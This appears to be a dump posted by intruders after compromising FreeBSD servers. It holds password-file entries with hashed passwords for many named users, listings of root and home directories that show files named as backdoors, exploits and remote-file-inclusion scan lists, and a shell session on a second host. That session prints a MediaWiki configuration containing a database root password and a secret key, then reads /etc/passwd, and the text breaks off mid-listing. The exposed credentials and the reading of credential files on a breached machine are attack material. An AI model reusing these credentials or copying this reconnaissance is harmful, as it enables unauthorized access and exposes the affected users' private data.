inaki:*:1003:1003::0:0:Inaki:/home/inaki:/usr/local/bin/bash
tremulous:*:1006:1006::0:0:User &:/home/tremulous:/usr/local/bin/bash
trem-maps:*:1008:1008::0:0:User &:/home/trem-maps:/bin/sh
ms-clanserver:$1$KkKxsoei$936d9IWKWrptqxTRqCcKw.:1009:1009::0:0:User
&:/home/ms-clanserver:/usr/local/bin/bash
mysql::88:88::0:0:MySQL Daemon:/nonexistent:/usr/local/bin/bash
httpd::1015:1015::0:0:User &:/home/httpd:/usr/local/bin/bash
mjestic::1017:1017::0:0:User &:/home/mjestic:/bin/sh
alma-server::1018:1018::0:0:alma-server:/home/alma-server:/usr/local/bin/bash
test-serv::1019:1019::0:0:test-serv:/home/test-serv:/usr/local/bin/bash
negroe:$1$GJKcFbkI$eMgx8tGbbuAsIY7z4jrqT/:1020:1020::0:0:User
&:/home/negroe:/usr/local/bin/bash
helldive::1021:1021::0:0:helldive:/home/helldive:/usr/local/bin/bash
relentless:$1$hzrBuTFU$LxjyfrPLRNO5orBe/pw8V.:1022:1022::0:0:User
&:/home/relentless:/usr/local/bin/bash
nt-server:$1$bAEJNi4W$JCRyivGro8EsX/yMCouDS/:1023:1023::0:0:User
&:/home/nt-server:/usr/local/bin/bash
syense:$1$tHx1g5xm$HDClXkM2jE1bosbJDjG.V/:1024:1024::0:0:User
&:/home/syense:/usr/local/bin/bash
trem12:$1$x1CIdzvF$LSaYQRI5aZU0gPSTfOggw0:1025:1025::0:0:User
&:/home/trem12:/usr/local/bin/bash
ian:$1$KW5wFPNM$J1xzBja4bP/6qAtHHBKm//:1026:1026::0:0:User
&:/home/ian:/usr/local/bin/bash
kate:$1$.pMZPvPH$KKvicI7gzVfOMRWmtVfck0:1027:1027::0:0:Kate
Stone:/home/kate:/usr/local/bin/bash
untitledhosting:$1$R8QaOXJ.$zjw6dJXsIiVJlsWfYYKWk.:1028:1028::0:0:User
&:/home/untitledhosting:/usr/local/bin/bash
inkyslair:$1$UFYE2CK0$WrlYr6wPe32qU1j.xwLiz0:1029:1029::0:0:User
&:/home/inkyslair:/usr/local/bin/bash
>> ls -la /root
total 38474
drwx------ 19 root wheel 2048 Mar 12 21:59 .
drwxr-xr-x 18 root wheel 512 Jan 26 19:57 ..
-rwx------ 1 root wheel 3015 Feb 18 01:18 .bash_h1story
-rwx------ 1 root wheel 9711 Mar 22 21:17 .bash_history
-rwx------ 1 root wheel 30 Dec 15 17:10 .bash_profile
-rwx------ 1 root wheel 30 Dec 15 17:03 .bashrc
drwx------ 4 root wheel 512 Jan 5 10:07 .cpan
-rwx------ 2 root wheel 801 Jan 12 2007 .cshrc
drwx------ 2 root wheel 512 Mar 11 01:01 .elinks
-rwx------ 1 root wheel 892 Dec 16 11:47 .history
drwx------ 2 root wheel 512 Dec 15 16:14 .irssi
-rwx------ 1 root wheel 143 Jan 12 2007 .k5login
-rw------- 1 root wheel 35 Mar 12 22:10 .lesshst
drwx------ 2 root wheel 512 Mar 11 01:01 .links
-rwx------ 1 root wheel 293 Jan 12 2007 .login
-rwx------ 1 root wheel 1081 Feb 25 06:52 .mysql_history
-rwx------ 1 root wheel 17401 Mar 12 21:59 .pinerc
-rwx------ 2 root wheel 251 Jan 27 21:36 .profile
-rw------- 1 root wheel 1024 Feb 25 06:33 .rnd
drwx------ 2 root wheel 512 Jan 29 22:58 .ssh
drwx------ 3 root wheel 512 Jan 4 07:59 .subversion
-rwx------ 1 root wheel 0 Feb 18 01:18 .temp
drwx------ 3 root wheel 512 Dec 16 02:48 .tremulous
drwx------ 5 root wheel 512 Dec 18 22:15 .weechat
drwx------ 2 root wheel 512 Dec 29 08:57 72.20.14.247
-rwx------ 1 root wheel 1764184 Dec 19 01:55 Railroad.zip
-rwx------ 1 root wheel 205609 Dec 17 15:39 acidtechpurple.zip
-rwx------ 1 root wheel 6 Feb 16 19:36 auth.log
-rwx------ 1 root wheel 588 Dec 16 02:41 base-config.cfg
-rwx------ 1 root wheel 223 Dec 16 02:40 base-confs.cfg
-rwx------ 1 root wheel 4199 Feb 18 01:16 bd.pl
-rwx------ 1 root wheel 0 Feb 17 14:55 bot.pl
drwx------ 3 root wheel 512 Feb 4 03:08 brute
-rwx------ 1 root wheel 65 Feb 19 02:15 db.opt
-rwx------ 1 root wheel 1827 Dec 16 03:05 install-trem-server.pl
drwx------ 2 root wheel 6144 Feb 19 02:15 lt3c_phpbb
drwx------ 2 root wheel 512 Jan 23 15:01 mail
drwx------ 5 root wheel 512 Dec 24 01:18 master
-rwx------ 1 root wheel 45778 Dec 24 02:56 master.tgz
-rwx------ 1 root wheel 4367618 Jan 27 09:16 mbox
drwx------ 14 root wheel 512 Jan 6 07:20 mumble
-rwx------ 1 root wheel 631037 Feb 5 00:52 myspace.jpg
-rwx------ 1 root wheel 46 Feb 19 02:13 mysql_fix.txt
-rwx------ 1 root wheel 10704 Dec 16 21:05 nmap.log
-rwx------ 1 root wheel 0 Jan 27 00:09 sshd_log
-rwx------ 1 root wheel 92 Dec 16 03:04 start.sh
-rwx------ 1 root wheel 29529 Dec 23 21:59 sys.pl
-rwx------ 1 root wheel 30932992 Feb 3 08:57 test100.zip
drwx------ 7 root wheel 512 Feb 24 00:05 trunk
-rwx------ 1 root wheel 1155345 Feb 18 02:08
ts2_server_rc2_202319.tar.bz2
drwx------ 7 zipservers 100 512 Feb 18 22:15 tss2_rc2
drwx------ 4 root wheel 512 Dec 15 17:53 utils
>> ls -la /usr/home
total 56
drwxr-xr-x 25 1013 1013 512 Mar 10 23:08 .
drwxr-xr-x 20 root wheel 512 Mar 11 23:49 ..
drwxr-xr-x 6 alma-server alma-server 512 Jan 21 07:40 alma-server
drwxr-xr-x 3 1013 1013 512 Jan 27 09:22 aox
drwxr-xr-x 4 helldive helldive 512 Feb 4 00:21 helldive
drwxr-xr-x 2 httpd httpd 512 Jan 4 05:14 httpd
drwxr-xr-x 5 ian ian 512 Mar 20 17:47 ian
drwx------ 25 inaki inaki 1536 Mar 17 21:06 inaki
drwxr-xr-x 2 inkyslair inkyslair 512 Mar 15 22:16 inkyslair
drwxr-xr-x 3 1010 ircd 512 Dec 16 20:25 ircd
drwxr-xr-x 4 kate kate 512 Feb 28 06:22 kate
drwxr-xr-x 2 1013 1013 512 Dec 14 17:42 ltsvadmin
drwxr-xr-x 5 mjestic mjestic 512 Jan 14 06:44 mjestic
drwxr-xr-x 4 ms-clanserver ms-clanserver 512 Dec 17 04:12
ms-clanserver
drwxr-xr-x 4 negroe negroe 512 Feb 9 10:21 negroe
drwxr-xr-x 9 nt-server nt-server 512 Mar 9 01:36 nt-server
drwxr-xr-x 3 1013 1013 512 Dec 16 02:28 powerover
drwxr-xr-x 2 relentless relentless 512 Feb 7 16:55 relentless
drwxr-xr-x 6 syense syense 512 Mar 17 07:51 syense
drwxr-xr-x 4 test-serv test-serv 512 Jan 21 08:01 test-serv
drwxr-xr-x 5 trem-maps trem-maps 6656 Feb 26 03:57 trem-maps
drwxr-xr-x 4 trem12 trem12 512 Feb 18 22:53 trem12
drwxr-xr-x 5 tremulous tremulous 512 Mar 21 20:09 tremulous
drwxr-xr-x 2 untitledhosting untitledhosting 512 Mar 7 15:18
untitledhosting
drwxr-xr-x 2 1013 1013 512 Feb 23 07:23 zipservers
>> ls -la invalid.site/www/
total 3718
drwxrwxrwx 3 root wheel 512 Mar 11 04:15 .
drwxr-xr-x 4 root wheel 512 Feb 6 07:03 ..
-rwxr-xr-x 1 root wheel 551940 Mar 1 04:58 __spl
drwxr-xr-x 11 root wheel 2560 Mar 10 03:49 __sql
-rwxr-xr-x 1 root wheel 13534 Mar 5 06:47 a.out
-rw-r--r-- 1 root wheel 2412 Feb 15 07:40 attack.php
-rw-r--r-- 1 root wheel 2412 Feb 15 07:40 attack.src
-rwxr-xr-x 1 root wheel 4175 Mar 8 02:18 bd.txt
-rwxr-xr-x 1 root wheel 4168 Mar 8 02:24 bd_2.txt
-rwxrwxrwx 1 root wheel 4606 Feb 29 06:10 bopm.conf
-rw-r--r-- 1 root wheel 5784 Mar 3 13:54 cute.php
-rw-r--r-- 1 root wheel 706 Mar 9 06:23 dc.txt
-rw-r--r-- 1 root wheel 5185 Mar 1 05:55 exp.pm
-rw-r--r-- 1 root wheel 10486 Mar 1 06:10 get.txt
-rw-r--r-- 1 root wheel 10423 Mar 1 06:00 get.txty
-rw-r--r-- 1 root wheel 20 Mar 1 03:18 index.php
-rw-r--r-- 1 root wheel 341 Mar 7 02:22 inf.txt
-rwxr-xr-x 1 root wheel 13534 Mar 1 06:54 kmod
-rw-r--r-- 1 root wheel 3740 Mar 15 13:56 kmod.c
-rwxr-xr-x 1 root wheel 9014 Mar 5 06:47 krad
-rw-r--r-- 1 root wheel 232 Feb 14 03:11 owned.php
-rwxr-xr-x 1 root wheel 8574 Mar 1 06:17 perl_root
-rw------- 1 httpd wheel 3072000 Mar 9 05:21 php-cgi.core
-rw-r--r-- 1 root wheel 3457 Feb 29 06:33 repl.txt
[root@athena:/var/www]
>> ls -la lt3c.info/www/
total 712
drwxr-xr-x 7 httpd httpd 512 Feb 16 19:37 .
drwxr-xr-x 4 httpd httpd 512 Jan 26 09:24 ..
-rw-r--r-- 1 root httpd 205609 Dec 17 15:39 acidtechpurple.zip
drwxr-xr-x 2 httpd httpd 512 Jan 31 02:23 css
drwxr-xr-x 13 httpd httpd 1024 Feb 9 02:40 forum
drwxr-xr-x 2 httpd httpd 512 Jan 31 05:34 images
-rw-r--r-- 1 httpd httpd 3094 Mar 8 01:44 index.php
drwxr-xr-x 2 httpd httpd 512 Mar 17 20:50 inky
-rw-r--r-- 1 httpd httpd 267 Mar 8 01:44 lib.php
drwxr-xr-x 2 httpd httpd 512 Jan 31 07:01 pages
-rw-r--r-- 1 httpd httpd 904 Mar 8 01:44 temp.htm
-rw-r--r-- 1 root httpd 45 Feb 12 08:27 uta.htm
-rw-r--r-- 1 root httpd 214602 Feb 12 08:13 uta.pmd
-rw-r--r-- 1 root httpd 211734 Feb 12 08:24 uta.qcp
[root@athena:/var/www]
>> ls -la partyvanradio.org/www/
total 6
drwxr-xr-x 2 relentless relentless 512 Feb 7 06:54 .
drwxr-xr-x 4 root wheel 512 Feb 7 06:53 ..
-rw-r--r-- 1 relentless relentless 166 Feb 7 07:13 index.php
[root@athena:/var/www]
>> ls -la untitledhosting.org/www/
total 74
drwxr-xr-x 10 untitledhosting untitledhosting 512 Mar 10 03:05 .
drwxr-xr-x 4 root wheel 512 Mar 7 15:13 ..
-rw-r--r-- 1 untitledhosting untitledhosting 8 Mar 10 03:05 LAWL
drwxr-xr-x 4 untitledhosting untitledhosting 2048 Mar 10 02:47 admin
-rwxr-xr-x 1 untitledhosting untitledhosting 5805 Mar 10 02:52 config.php
drwxr-xr-x 2 untitledhosting untitledhosting 512 Mar 10 02:47 doc
-rw-r--r-- 1 untitledhosting untitledhosting 318 Jan 3 02:56
favicon_cms.ico
-rw-r--r-- 1 untitledhosting untitledhosting 330 Jan 3 02:56 fileloc.php
drwxr-xr-x 3 untitledhosting untitledhosting 512 Mar 10 02:47 images
-rw-r--r-- 1 untitledhosting untitledhosting 8187 Jan 3 02:56 include.php
-rw-r--r-- 1 untitledhosting untitledhosting 9809 Jan 3 02:56 index.php
drwxr-xr-x 11 untitledhosting untitledhosting 512 Mar 10 02:47 lib
-rw-r--r-- 1 untitledhosting untitledhosting 961 Jan 3 02:56 moduleinterface.php
drwxrwxrwx 12 untitledhosting untitledhosting 512 Mar 10 02:47 modules
drwxr-xr-x 3 untitledhosting untitledhosting 2048 Mar 10 02:47 plugins
-rw-r--r-- 1 untitledhosting untitledhosting 1955 Jan 3 02:56 preview.php
-rw-r--r-- 1 untitledhosting untitledhosting 168 Jan 3 02:56 robots.txt
-rw-r--r-- 1 untitledhosting untitledhosting 4161 Jan 3 02:56 soap.php
-rw-r--r-- 1 untitledhosting untitledhosting 2535 Jan 3 02:56 stylesheet.css
-rw-r--r-- 1 untitledhosting untitledhosting 5179 Jan 3 02:56 stylesheet.php
drwxrwxrwx 6 untitledhosting untitledhosting 512 Mar 10 02:47 tmp
drwxrwxrwx 4 untitledhosting untitledhosting 512 Mar 10 03:09 uploads
-rw-r--r-- 1 untitledhosting untitledhosting 1127 Jan 3 02:56 version.php
[root@athena:/var/www]
>> ls -la /home/inaki/
total 157184
drwx------ 25 inaki inaki 1536 Mar 17 21:06 .
drwxr-xr-x 25 1013 1013 512 Mar 10 23:08 ..
-rwx------ 1 inaki inaki 10462 Mar 22 00:28 .bash_history
-rwx------ 1 inaki inaki 30 Dec 16 17:56 .bash_profile
-rwx------ 1 inaki inaki 30 Dec 16 17:56 .bashrc
-rw-r--r-- 1 inaki inaki 14178 Mar 4 00:00 .bot_log
-rwx------ 1 inaki inaki 767 Dec 15 16:07 .cshrc
-rw-r--r-- 1 inaki inaki 6 Mar 17 21:06 .gay-state
-rwx------ 1 inaki inaki 142 Dec 17 01:58 .history
drwx------ 2 inaki inaki 512 Dec 18 22:12 .irssi
-rw------- 1 inaki inaki 35 Mar 9 18:42 .lesshst
drwx------ 2 inaki inaki 512 Jan 30 21:51 .links
-rwx------ 1 inaki inaki 248 Dec 15 16:07 .login
-rwx------ 1 inaki inaki 158 Dec 15 16:07 .login_conf
-rwx------ 1 inaki inaki 373 Dec 15 16:07 .mail_aliases
-rwx------ 1 inaki inaki 331 Dec 15 16:07 .mailrc
-rwx------ 1 inaki inaki 797 Dec 15 16:07 .profile
-rwx------ 1 inaki inaki 276 Dec 15 16:07 .rhosts
-rwx------ 1 inaki inaki 975 Dec 15 16:07 .shrc
drwx------ 2 inaki inaki 512 Feb 9 07:09 .ssh
drwx------ 7 inaki inaki 512 Mar 17 16:56 .weechat
-rw-r--r-- 1 inaki inaki 1330 Mar 10 03:53 InstallMorgan.pl
drwxr-xr-x 2 inaki inaki 512 Mar 5 22:56 RFIscan
drwx------ 17 inaki inaki 1536 Mar 12 21:55 Unreal3.2.7
-rwx------ 1 inaki inaki 2801622 Dec 29 09:01 Unreal3.2.7.tar.gz
-rw-r--r-- 1 inaki inaki 12469 Mar 7 05:27 _good_rfis.txt
drwx------ 7 inaki inaki 1024 Dec 27 22:44 anope-1.7.19
-rwx------ 1 inaki inaki 1505639 Jun 10 2007 anope-1.7.19.tar.gz
drwx------ 8 inaki inaki 512 Jan 13 07:25 bopm
drwx------ 5 inaki inaki 1024 Jan 13 07:02 bopm-3.1.3
-rwx------ 1 inaki inaki 819273 May 16 2007 bopm-3.1.3.tar.gz
-rwx------ 1 inaki inaki 1424 Dec 27 21:59 bot.pl
-rwx------ 1 inaki inaki 1401 Dec 25 08:31 bot.pl.save
-rwx------ 1 inaki inaki 1417 Dec 27 21:57 bot.pl/
drwx------ 4 inaki inaki 512 Mar 3 14:10 botpanel
-rwx------ 1 inaki inaki 11962 Feb 13 03:05 botpanel.tgz
-rwx------ 1 inaki inaki 0 Dec 23 00:06 cigarette
-rw-r--r-- 1 inaki inaki 1334 Mar 8 05:57 cleanrfi.pl
drwxrwxrwx 3 inaki inaki 512 Feb 23 04:17 exe
drwx------ 2 inaki inaki 512 Feb 9 07:43 flash
-rwx------ 1 inaki inaki 130677 Jul 14 2007 gay
-rwx------ 1 inaki inaki 2576 Nov 24 23:25 gen.pl
-rwxr-xr-x 1 inaki inaki 655 Mar 5 02:45 getRFI.sh
-rw-r--r-- 1 inaki inaki 121721 Mar 10 04:33 good_rfis.txt
drwxrwxrwx 2 inaki inaki 512 Feb 21 04:08 images
drwx------ 8 inaki inaki 512 Jan 5 09:48 ircd
-rwx------ 1 inaki inaki 2457953 Dec 19 02:58 irssi
-rwx------ 1 inaki inaki 530 Dec 19 01:34 jap.pl
drwx------ 5 inaki inaki 512 Feb 17 15:56 jewgong
-rwx------ 1 inaki inaki 1507 Jan 5 08:37 lol.sh
-rwx------ 1 inaki inaki 5026 Feb 1 23:08 lolol
drwx------ 4 inaki inaki 512 Jan 4 22:25 lulzhost.net
-rwx------ 1 inaki inaki 45778 Dec 24 02:22 master.tgz
drwx------ 7 inaki inaki 512 Dec 27 22:50 misc
-rwx------ 1 inaki inaki 1993 Dec 1 19:39 mpdnp.pl
drwx------ 2 inaki inaki 512 Feb 17 11:04 music
-rwx------ 1 inaki inaki 9576448 Feb 3 09:29 openssl_installer.exe
-rwx------ 1 inaki inaki 0 Feb 11 03:27 out
drwx------ 2 inaki inaki 512 Jan 11 20:20 oxygen
-rwx------ 1 inaki inaki 0 Nov 25 09:04 pizza
drwx------ 2 inaki inaki 512 Jan 16 23:14 public_html
drwx------ 2 inaki inaki 512 Jan 4 03:33 radiobot
-rwx------ 1 inaki inaki 806 Dec 16 21:17 range
-rw-r--r-- 1 inaki inaki 190367 Mar 21 21:52 rfis.txt
drwx------ 3 inaki inaki 1024 Jan 14 00:38 seeborg-0.51
-rwx------ 1 inaki inaki 58113 Aug 15 2003 seeborg-0.51.tar.gz
-rwx------ 1 inaki inaki 825 Dec 1 17:59 server.cfg
-rwx------ 1 inaki inaki 14285284 Dec 25 03:00 sy.rar
-rwx------ 1 inaki inaki 55 Dec 8 10:30 test
-rwx------ 1 inaki inaki 67 Dec 7 12:48 test.sh
drwx------ 3 inaki inaki 512 Jan 5 09:48 testircd
-rwx------ 1 inaki inaki 0 Nov 24 22:00 trace.rt
-rwx------ 1 inaki inaki 128561152 Mar 8 00:19 weechat-curses.core
-rwx------ 1 inaki inaki 69 Dec 16 21:17 xh.pl
>> ls -la /usr/home/mjestic/
total 204
drwxr-xr-x 5 mjestic mjestic 512 Jan 14 06:44 .
drwxr-xr-x 25 1013 1013 512 Mar 10 23:08 ..
-rw------- 1 mjestic mjestic 1404 Jan 14 06:52 .bash_history
-rw-r--r-- 1 mjestic mjestic 767 Jan 14 05:18 .cshrc
-rw-r--r-- 1 mjestic mjestic 248 Jan 14 05:18 .login
-rw-r--r-- 1 mjestic mjestic 158 Jan 14 05:18 .login_conf
-rw------- 1 mjestic mjestic 373 Jan 14 05:18 .mail_aliases
-rw-r--r-- 1 mjestic mjestic 331 Jan 14 05:18 .mailrc
-rw-r--r-- 1 mjestic mjestic 797 Jan 14 05:18 .profile
-rw------- 1 mjestic mjestic 276 Jan 14 05:18 .rhosts
-rw-r--r-- 1 mjestic mjestic 975 Jan 14 05:18 .shrc
drwxr-xr-x 4 mjestic mjestic 512 Jan 14 06:45 .tremulous
drwxr-xr-x 5 mjestic mjestic 512 Nov 8 07:29 arcade
-rw-r--r-- 1 mjestic mjestic 178453 Nov 8 07:30 arcade-svn971-14-vm.tar.gz
drwxr-xr-x 3 mjestic mjestic 512 Jan 14 06:46 trem-server
[root@athena:/var/www]
/*
*
* And now for partyvan.info
*
*/
$ uname -a
FreeBSD partyvan.info 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52
UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
$ w
12:22AM up 2:37, 0 users, load averages: 0.06, 0.06, 0.07
USER TTY FROM LOGIN@ IDLE WHAT
$ ls
apache22
squirrelmail
$ pwd
/usr/local/www
$ cd apache22
$ ls -al
total 14
drwxr-xr-x 6 root wheel 512 Mar 8 16:40 .
drwxr-xr-x 4 root wheel 512 Mar 8 22:03 ..
drwxr-xr-x 2 root wheel 512 Mar 8 16:40 cgi-bin
drwxr-xr-x 28 root wheel 1536 Mar 8 22:01 data
drwxr-xr-x 3 root wheel 1024 Mar 8 16:40 error
drwxr-xr-x 3 root wheel 3584 Mar 8 16:40 icons
$ cd data
$ ls -al
total 120006
drwxr-xr-x 28 root wheel 1536 Mar 8 22:01 .
drwxr-xr-x 6 root wheel 512 Mar 8 16:40 ..
drwxr-xr-x 3 root picatta 512 Mar 8 17:41 711chan
-rwxr-xr-x 1 root picatta 825 Mar 5 12:48 AdminSettings.sample
-rwxr-xr-x 1 root picatta 17997 Mar 5 12:48 COPYING
-rwxr-xr-x 1 root picatta 162 Mar 5 12:48 FAQ
-rwxr-xr-x 1 root picatta 175294 Mar 5 12:48 HISTORY
-rwxr-xr-x 1 root picatta 3992 Mar 5 12:48 INSTALL
-rw-r--r-- 1 root picatta 4522 Mar 5 12:48 LocalSettings.php
-rwxr-xr-x 1 root picatta 27 Mar 5 12:48 Makefile
-rwxr-xr-x 1 root picatta 44283 Mar 5 12:48 RELEASE-NOTES
-rwxr-xr-x 1 root picatta 605 Mar 5 12:48 StartProfiler.php
-rwxr-xr-x 1 root picatta 12816 Mar 5 12:48 UPGRADE
-rwxr-xr-x 1 root picatta 1316 Mar 5 12:48 api.php
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 auth
drwxr-xr-x 3 root wheel 512 Mar 8 17:41 backup
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 bin
drwxr-xr-x 18 root picatta 512 Mar 8 17:41 cachedir
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 cgi-bin
-rw-r--r-- 1 root picatta 1832 Mar 5 12:48 cheese.gif
-rw-r--r-- 1 root picatta 1677 Mar 5 12:48 cheese2.gif
-rwxr-xr-x 1 root picatta 122077184 Mar 5 12:48 core.21271
drwxr-xr-x 3 root picatta 512 Mar 8 17:41 dev
drwxr-xr-x 4 root picatta 512 Mar 8 17:41 docs
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 donate
-rw-r--r-- 1 root picatta 2037 Mar 5 12:48 epiccheese.js
-rw-r--r-- 1 root picatta 2091 Mar 5 12:48 epicfail.js
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 extensions
-rwxr-xr-x 1 root picatta 1150 Mar 5 12:48 favicon.ico
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 fimg
-rwxr-xr-x 1 root picatta 1501 Mar 5 12:48 front.php
-rwxr-xr-x 1 root picatta 173 Mar 5 12:48 google.html
drwxr-xr-x 3 root picatta 512 Mar 8 17:41 hosted
drwxr-xr-x 21 root picatta 512 Mar 8 17:41 images
-rwxr-xr-x 1 root picatta 1978 Mar 5 12:48 img_auth.php
drwxr-xr-x 7 root picatta 5632 Mar 8 17:41 includes
-rwxr-xr-x 1 root picatta 113 Mar 5 12:48 index.dongs
-rwxr-xr-x 1 root picatta 1513 Mar 5 12:48 index.old
-rwxr-xr-x 1 root picatta 8716 Mar 5 12:48 index.php
-rwxr-xr-x 1 root picatta 454 Mar 5 12:48 index.php__
-rwxr-xr-x 1 root picatta 21 Mar 5 12:48 info.php
-rwxr-xr-x 1 root picatta 3899 Mar 5 12:48 install-utils.inc
drwxr-xr-x 4 root picatta 512 Mar 8 17:41 languages
-rwxr-xr-x 1 root picatta 584 Mar 5 12:48 load.php
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 locale
-rwxr-xr-x 1 root picatta 3227 Mar 5 12:48 lol.css
drwxr-xr-x 9 root picatta 4096 Mar 8 17:41 maintenance
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 math
-rw-r--r-- 1 root picatta 0 Mar 5 12:48 merge.php
-rwxr-xr-x 1 root picatta 19631 Mar 5 12:48 mudkipz.png
-rwxr-xr-x 1 root picatta 1532 Mar 5 12:48 opensearch_desc.php
-rwxr-xr-x 1 root picatta 65394 Mar 5 12:48 owned1.jpg
-rwxr-xr-x 1 root picatta 67133 Mar 5 12:48 owned2.jpg
-rw-r--r-- 1 picatta picatta 361 Mar 8 21:56 portl.html
-rwxr-xr-x 1 root picatta 6173 Mar 5 12:48 profileinfo.php
drwxr-xr-x 3 root picatta 512 Mar 8 17:41 public_ftp
drwxr-xr-x 7 root picatta 1024 Mar 8 17:41 raid
-rwxr-xr-x 1 root picatta 428 Mar 5 12:48 redir.php
-rwxr-xr-x 1 root picatta 319 Mar 5 12:48 redirect.php
-rwxr-xr-x 1 root picatta 91 Mar 5 12:48 redirect.phtml
-rwxr-xr-x 1 root picatta 92 Mar 5 12:48 robots.txt
-rwxr-xr-x 1 root picatta 1351 Mar 5 12:48 seal.php
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 serialized
-rwxr-xr-x 1 root picatta 147770 Mar 5 12:48 shit.jpg
drwxr-xr-x 10 root picatta 1024 Mar 8 17:41 skins
drwxr-xr-x 3 root picatta 512 Mar 8 17:41 t
-rwxr-xr-x 1 root picatta 6 Mar 5 12:48 test
-rwxr-xr-x 1 root picatta 27 Mar 5 12:48 test.php
-rwxr-xr-x 1 root picatta 53 Mar 5 12:48 test2.php
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 tests
-rwxr-xr-x 1 root picatta 2408 Mar 5 12:48 thumb.php
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 tmp
-rwxr-xr-x 1 root picatta 1384 Mar 5 12:48 trackback.php
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 vamp
-rwxr-xr-x 1 root picatta 88 Mar 5 12:48 wiki.phtml
-rwxr-xr-x 1 root picatta 1756 Mar 5 12:48 ~index.php
$ cat LocalSettings.php
<?php
# This file was automatically generated by the MediaWiki installer.
# If you make manual changes, please keep track in case you need to
# recreate them later.
#
# See includes/DefaultSettings.php for all configurable settings
# and their default values, but don't forget to make changes in _this_
# file, not there.
# If you customize your file layout, set $IP to the directory that contains
# the other MediaWiki files. It will be used as a base to locate files.
if( defined( 'MW_INSTALL_PATH' ) ) {
$IP = MW_INSTALL_PATH;
} else {
$IP = dirname( __FILE__ );
}
$path = array( $IP, "$IP/includes", "$IP/languages" );
set_include_path( implode( PATH_SEPARATOR, $path ) . PATH_SEPARATOR .
get_include_path() );
require_once( "includes/DefaultSettings.php" );
# If PHP's memory limit is very low, some operations may fail.
# ini_set( 'memory_limit', '20M' );
if ( $wgCommandLineMode ) {
if ( isset( $_SERVER ) && array_key_exists( 'REQUEST_METHOD', $_SERVER
) ) {
die( "This script must be run from the command line/n" );
}
} elseif ( empty( $wgNoOutputBuffer ) ) {
## Compress output if the browser supports it
if( !ini_get( 'zlib.output_compression' ) ) @ob_start( 'ob_gzhandler'
);
}
$wgSitename = "Insurgency Wiki";
## The URL base path to the directory containing the wiki;
## defaults for all runtime URL paths are based off of this.
$wgScriptPath = "";
## For more information on customizing the URLs please see:
## http://www.mediawiki.org/wiki/Manual:Short_URL
$wgShowIPinHeader = false;
$wgEnableEmail = true;
$wgEnableUserEmail = true;
$wgEmergencyContact = "Coprolal1an@gmail.com";
$wgPasswordSender = "Coprolal1an@gmail.com";
## For a detailed description of the following switches see
## http://meta.wikimedia.org/Enotif and http://meta.wikimedia.org/Eauthent
## There are many more options for fine tuning available see
## /includes/DefaultSettings.php
## UPO means: this is also a user preference option
$wgEnotifUserTalk = true; # UPO
$wgEnotifWatchlist = true; # UPO
$wgEmailAuthentication = true;
$wgDBtype = "mysql";
$wgDBserver = "localhost";
$wgDBname = "partyvan_insurgency";
$wgDBuser = "root";
$wgDBpassword = "lolcats8295";
$wgDBport = "3306";
$wgDBprefix = "mw_";
# Schemas for Postgres
$wgDBmwschema = "mediawiki";
$wgDBts2schema = "public";
# Experimental charset support for MySQL 4.1/5.0.
$wgDBmysql5 = false;
## Shared memory settings
$wgFileCacheDirectory = '/home/partyvan/public_html/cachedir/';
$wgShowIPinHeader = false;
$wgUseFileCache = true;
$wgMainCacheType = CACHE_MEMCACHED;
$wgDisableCounters=true;
$wgMemCachedServers = array();
$wgUseMemCached = true;
$wgMemCachedServers = array( "127.0.0.1:11211" );
## To enable image uploads, make sure the 'images' directory
## is writable, then set this to true:
$wgEnableUploads = true;
$wgUseImageResize = true;
$wgUseImageMagick = true;
$wgImageMagickConvertCommand = "/usr/bin/convert";
## If you want to use image uploads under safe mode,
## create the directories images/archive, images/thumb and
## images/temp, and make them all writable. Then uncomment
## this, if it's not already uncommented:
# $wgHashedUploadDirectory = false;
## If you have the appropriate support software installed
## you can enable inline LaTeX equations:
$wgUseTeX = false;
$wgLocalInterwiki = $wgSitename;
$wgLanguageCode = "en";
$wgProxyKey =
"79057c7a1562bb0417a20556cf0a63001ebacb27da55d05511820902bab34586";
## Default skin: you can change the default skin. Use the internal symbolic
## names, ie 'standard', 'nostalgia', 'cologneblue', 'monobook':
$wgDefaultSkin = 'nostalgia';
## For attaching licensing metadata to pages, and displaying an
## appropriate copyright notice / icon. GNU Free Documentation
## License and Creative Commons licenses are supported so far.
$wgEnableCreativeCommonsRdf = true;
$wgRightsPage = ""; # Set to the title of a wiki page that describes your
license/copyright
$wgRightsUrl = "http://creativecommons.org/licenses/by-nc-sa/3.0/";
$wgRightsText = "Attribution-Noncommercial-Share Alike 3.0 ";
$wgRightsIcon = "http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png";
# $wgRightsCode = "by-nc-sa"; # Not yet used
$wgDiff3 = "/usr/bin/diff3";
# When you make changes to this configuration file, this will make
# sure that cached pages are cleared.
$configdate = gmdate( 'YmdHis', @filemtime( __FILE__ ) );
$wgCacheEpoch = max( $wgCacheEpoch, $configdate );
?>
$ cat /etc/passwd
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission
